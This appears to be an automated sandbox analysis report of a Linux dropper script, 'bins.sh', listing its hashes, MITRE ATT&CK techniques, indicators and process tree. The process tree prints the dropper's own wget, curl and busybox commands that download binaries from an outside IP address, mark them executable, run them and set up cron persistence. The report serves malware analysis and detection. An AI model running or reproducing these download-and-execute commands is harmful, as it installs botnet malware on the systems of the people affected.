d3eecd8c36ad1ce9baed5ddca10403b25037fb7db0baba17634b2343aec6e009

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24-11-2024 07:30

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General

Target

bins.sh
Size

10KB
MD5

245399d5b11b1319056964a63b42e045
SHA1

1226f9d148106b665043268caa31418cda073f78
SHA256

d3eecd8c36ad1ce9baed5ddca10403b25037fb7db0baba17634b2343aec6e009
SHA512

d7b83fe26010bb9cda4ee7d677bde605276d60d1be25c43cc4a6c4d9b98efd79a73149c4ba1f72ac3ee9c68b7201c310be79a1ca865fde0324e8ae94cdaa7482
SSDEEP

192:mAw0aeSJ7lNm7dFu7I4nhhMWKnHzjWKb7EM1TXcQAd2n2T21G+tfzfz7fr8AwFIN:bO6e2T2q1G+J82q1G+BY

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2153) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
688	chmod
679	chmod

Executes dropped EXE 2 IoCs

Processes:

Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

ioc	pid	Process
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	680	Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	689	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Renames itself 1 IoCs

Processes:

RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

pid	Process
690	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.71y9tk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlRObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/779/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/920/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1041/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/913/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/641/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/723/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/807/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/838/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/881/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/882/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/912/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/647/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/710/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/847/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/888/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/754/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/850/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/887/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1017/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/764/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/883/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/911/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1015/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/140/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/793/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/948/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/750/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/947/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/973/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1034/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/726/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/784/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/955/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1027/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/109/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/308/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/748/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/768/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/787/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/825/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/997/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1042/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/715/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/744/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/756/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/943/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/996/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1011/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1037/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/844/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/885/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/897/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/957/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/1008/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/111/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/582/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/707/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/783/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/915/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/999/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/268/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/791/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
File opened for reading	/proc/841/cmdline	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	busybox
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	curl
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	busybox
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	wget
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Executes dropped EXE
  PID:680
- /bin/rm
  rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  PID:682
- /usr/bin/wget
  wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:689
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:691
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:692
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:693
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:694
- /bin/rm
  rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.125.191/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  PID:701

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

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/var/spool/cron/crontabs/tmp.71y9tk

Filesize
210B

MD5
26ad474d80592a0a1cff175f64e03fd1

SHA1
02083a952d1d57847c962aa7c11f4cd08bb6043c

SHA256
6c3048d84c77e8c657ecb568d0f42fea13136b8cf2a32dcd791ccb20ca597914

SHA512
ff34193930a4ee4f1c990f05bd246b400674c003ff5cc5e3e2b4dc66cbef1e614483c5c3025041919f907d703b0102a8ad0b982581e267bf89d44b977c6712c6

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